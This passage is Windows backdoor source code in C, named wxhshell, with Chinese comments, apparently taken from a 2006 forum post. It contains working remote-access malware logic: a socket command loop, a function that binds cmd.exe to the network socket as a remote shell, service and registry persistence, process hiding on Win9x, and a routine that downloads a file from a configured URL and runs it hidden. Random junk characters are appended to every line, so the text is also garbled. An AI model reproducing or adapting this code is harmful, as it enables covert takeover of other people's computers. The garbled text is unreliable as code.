    switch(cmd[0]) { G j6(ycaS  
  lkNaSz[  
  // 帮助 mM| 313  
  case '?': { 3snr-)   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %?gh;? GD  
    break; *Uvh;d{  
  } 3jMHe~.E<  
  // 安装 Uq0GbLjv"  
  case 'i': { qJ).;S{AAt  
    if(Install()) |{ E\ 2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T %   
    else ZT>?[`Vgc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GCn^+`.h1t  
    break; V) #vvnq  
    } 1]wx Ru  
  // 卸载 =Ri'Pr x&  
  case 'r': { ,G,'#]  
    if(Uninstall()) "pdq_35  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XG]ltSOy  
    else M=Y}w?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DH(Q md  
    break; V=)0{7-9  
    } )24c(  
  // 显示 wxhshell 所在路径 t2)S61Vr  
  case 'p': { R5iv]8X4W  
    char svExeFile[MAX_PATH]; o"5Bg%H  
    strcpy(svExeFile,"\n\r"); \`:X37n)0q  
      strcat(svExeFile,ExeFile); 2&st/y(hs  
        send(wsh,svExeFile,strlen(svExeFile),0); %#!pAUP\&  
    break; F9DY\EI  
    } [X +E  
  // 重启 Q~R7]AyR  
  case 'b': { S GAu.8Js  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZeVb< g  
    if(Boot(REBOOT)) Y|eB;Dm1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s91[n(d  
    else { }pP<+U  
    closesocket(wsh); 9G7lPK  
    ExitThread(0); +8tdAw  
    } 86[/NTD<-  
    break; ,2H@xji [  
    } :JBvCyj4PE  
  // 关机 Qqt<  
  case 'd': { %nU8 Ca  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9.F+)y@  
    if(Boot(SHUTDOWN)) F$l]#G.@A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!|%mI8gk  
    else { "c[ D 0{\{  
    closesocket(wsh); 9$-V/7@)  
    ExitThread(0); DOi\DJV!  
    } C_>dJYM  
    break; t@K N+ C  
    } h^{D "  
  // 获取shell &X 0qH8W  
  case 's': { }O+F#/6  
    CmdShell(wsh); o.qeF4\d6  
    closesocket(wsh); <k2Qcicy  
    ExitThread(0); dl:uI5]  
    break; EeW%5/;  
  } 4%h@K(iN  
  // 退出 qT( 3M9!  
  case 'x': { }Wxu=b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <t9#~x#'b  
    CloseIt(wsh); %_*q'6K  
    break; B^W0Ik`m  
    } yqdh LX|Mk  
  // 离开 Jh3(5d"MV  
  case 'q': { o $k1&hyH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IuJj ;L1  
    closesocket(wsh); 0~qnwe[g}  
    WSACleanup(); %<x2=#0  
    exit(1); Jf<+VJ>t  
    break; (A.%q1h  
        } <"|BuK  
  } ~HbZRDcJc  
  } O2[uN@nY  
:Oz! M&Ov  
  // 提示信息 -rYOx9P4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *,w9#?2x  
} 'je=.{[lWt  
  } 7<W7pXDp  
<VB;J5Rv  
  return; xngK_n  
} G.KZZ-=_4  
HtWuZq; w  
// shell模块句柄 n:c)R8X]  
int CmdShell(SOCKET sock) a8K"Z-LlQ  
{ <^}{sdOyu  
STARTUPINFO si; a0y7a/@c  
ZeroMemory(&si,sizeof(si)); >3HLm3T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KF' $D:\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ") Xy%C`J  
PROCESS_INFORMATION ProcessInfo; :G#>):  
char cmdline[]="cmd"; mz\d>0F U.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _KSYt32N  
  return 0; N :E7rtT,M  
} h(aF>a\Z  
KNtsz[#b  
// 自身启动模式 nK*$P +[R  
int StartFromService(void) l@-J&qG  
{ OSc&n>\t  
typedef struct Ip}(!D|  
{ u@v0I$  
  DWORD ExitStatus; PxENLQ3a=  
  DWORD PebBaseAddress; IaDc hI  
  DWORD AffinityMask; /6_>d $  
  DWORD BasePriority; F?]nPb|  
  ULONG UniqueProcessId; ejYJOTT{^  
  ULONG InheritedFromUniqueProcessId; ADoxma@  
}   PROCESS_BASIC_INFORMATION; oi4tj.!J  
*c}MI e'&  
PROCNTQSIP NtQueryInformationProcess; qp>V\h\  
]$)J/L(p/]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y:Ycn+X.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o g.LD7&/  
Fwn4c4-%  
  HANDLE             hProcess; 0m?v@K' l  
  PROCESS_BASIC_INFORMATION pbi; Vw7NLTE}`  
nKn,i$sO/.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '+tU8Pb  
  if(NULL == hInst ) return 0; ndRy&[f7  
]<D9Q>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }5#<`8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MW%EJT>@z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Wjb}_V:_  
YKbR#DC\  
  if (!NtQueryInformationProcess) return 0; ;5 W|#{I  
a%Ky;ys  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &f1dCL%z7  
  if(!hProcess) return 0; E7E>w#T5  
Jt6~L5[_s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X5kIM\  
;5tSXgGw7  
  CloseHandle(hProcess); D@T>z;  
AtNu:U$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e-Z+)4fH  
if(hProcess==NULL) return 0; [G{{f  
^7Q}W#jy  
HMODULE hMod; lUXxpv1m  
char procName[255]; U[9`:aV;  
unsigned long cbNeeded; aagN-/mgm  
Cs$wgm*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jdxwS  
B9;dX6c  
  CloseHandle(hProcess); 2[i:bksjW  
D6!`p6r+  
if(strstr(procName,"services")) return 1; // 以服务启动 HpI[Af}l  
mq@2zE`.(  
  return 0; // 注册表启动 @D%H-X  
} < \]o#w*:  
xcO Si>  
// 主模块 m_~!Lj[u.  
int StartWxhshell(LPSTR lpCmdLine) L1#z'<IO  
{ VZNMom,Wr  
  SOCKET wsl; ;'!G?)PZ  
BOOL val=TRUE; b;#Z/phix  
  int port=0; mjUln8Jc  
  struct sockaddr_in door; `"J=\3->  
0ts] iQ7  
  if(wscfg.ws_autoins) Install(); R[>fT}Lo  
!K;\{/8  
port=atoi(lpCmdLine); +5(#~  
B5"(NJ;  
if(port<=0) port=wscfg.ws_port; X&sXss<fO%  
"#x<>a )O\  
  WSADATA data; WXP=U^5Si  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;RNU`I p  
F"xD^<i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =}5;rK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )F;`07  
  door.sin_family = AF_INET; Q/rOIHiI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >YuBi:z  
  door.sin_port = htons(port); ^`NU:"  
} =Yvs)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E/@w6uIK[  
closesocket(wsl); C5;=!B  
return 1; \O 9j+L"  
} (i4=}Kn2  
.XR`iX Y  
  if(listen(wsl,2) == INVALID_SOCKET) { &VtTUy}  
closesocket(wsl); Uu xbN-u  
return 1; ,Z*Fo: q  
} o|lEF+  
  Wxhshell(wsl); B '\^[  
  WSACleanup(); 5I9~OJ>  
_gZ8UZ)  
return 0; ?2l#=t?PP  
[xiZkV([  
} 0,*clvH\;  
p$dVGvM(  
// 以NT服务方式启动 T% J;~|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fi.gf?d  
{ -miWXEe@l  
DWORD   status = 0; t3!?F(&  
  DWORD   specificError = 0xfffffff; s"b()JP  
Z_{`$nW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1qXqQA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lquY_lrri  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Nl)ocHv!  
  serviceStatus.dwWin32ExitCode     = 0; Oz{.>Pjn^o  
  serviceStatus.dwServiceSpecificExitCode = 0; (6i)m c(  
  serviceStatus.dwCheckPoint       = 0; 1SoKnfz{6  
  serviceStatus.dwWaitHint       = 0; L<bZVocOb_  
Onoi^MDy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NQzpgf|h  
  if (hServiceStatusHandle==0) return; v2R41*z,  
%KL"f  
status = GetLastError(); y&T(^EA;  
  if (status!=NO_ERROR) `pS<v.L3  
{ c%-s_8zvi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y\L$8BSL  
    serviceStatus.dwCheckPoint       = 0; Nx>WOb98  
    serviceStatus.dwWaitHint       = 0; ^b=]=w  
    serviceStatus.dwWin32ExitCode     = status; 9B &QY 2v  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0MDdcjqw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K r $R"  
    return; )%'Lm  
  } ~ qe9U 0  
wW s<{ T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zp~2WJQ  
  serviceStatus.dwCheckPoint       = 0; Erz{{kf]1V  
  serviceStatus.dwWaitHint       = 0; {B$cd?}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gAt[kW< n  
} gIv :<EJ9  
[v$_BS#u^3  
// 处理NT服务事件,比如:启动、停止 Am=D kkP%  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  hM   
{ 5m2(7FC%su  
switch(fdwControl) WK5~"aw  
{ 6kH47Yc?  
case SERVICE_CONTROL_STOP: F?=(4Pyvu  
  serviceStatus.dwWin32ExitCode = 0; v#u]cmI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9An_zrJ%i  
  serviceStatus.dwCheckPoint   = 0; 5HP6o  
  serviceStatus.dwWaitHint     = 0; ;n?72&h  
  { W70J2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #q.Q tDz  
  } gbNPD*7g9  
  return; n]I_ LlbY  
case SERVICE_CONTROL_PAUSE: Fhw:@@=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P7r?rbO"  
  break; *yp}#\rk  
case SERVICE_CONTROL_CONTINUE: [OFg (R-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~@=:I  
  break; 5fi6>>  
case SERVICE_CONTROL_INTERROGATE: K|$Dnma^n  
  break; ^)=c74;;  
}; ]UyIp`nV;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qo+_:N  
} V&4)B &W  
z7V74hRPX  
// 标准应用程序主函数 Kl.xe&t@j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Lz\/ OS  
{ SrzlR)  
}Y\Ayl  
// 获取操作系统版本 a x1  
OsIsNt=GetOsVer(); )2T?Z)"hO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V~ -<VM6  
hY=#_r8  
  // 从命令行安装 .lrI|BH?z  
  if(strpbrk(lpCmdLine,"iI")) Install(); +f/G2qY!t  
D&_Ir>"\  
  // 下载执行文件 !FOPFPn  
if(wscfg.ws_downexe) { VQE8hQ37  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a.)Gd]}g  
  WinExec(wscfg.ws_filenam,SW_HIDE); \M^L'Mkj  
} {`fhcEC  
1GB$;0 W),  
if(!OsIsNt) { 8XtZF,Du  
// 如果时win9x,隐藏进程并且设置为注册表启动 oeKI9p13\  
HideProc(); zp[Uh]-dMK  
StartWxhshell(lpCmdLine); `-!t8BH  
} F`,XB[}2  
else 'c[4-m3bg  
  if(StartFromService()) q%8%J'Fro  
  // 以服务方式启动 J1DX}h]  
  StartServiceCtrlDispatcher(DispatchTable); + 5E6|  
else g+BW~e)  
  // 普通方式启动 RE/'E?G  
  StartWxhshell(lpCmdLine); ` oN~  
w^tNYN,i  
return 0; lC&U9=7W  
}
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只看该作者 1 发表于: 2006-10-10
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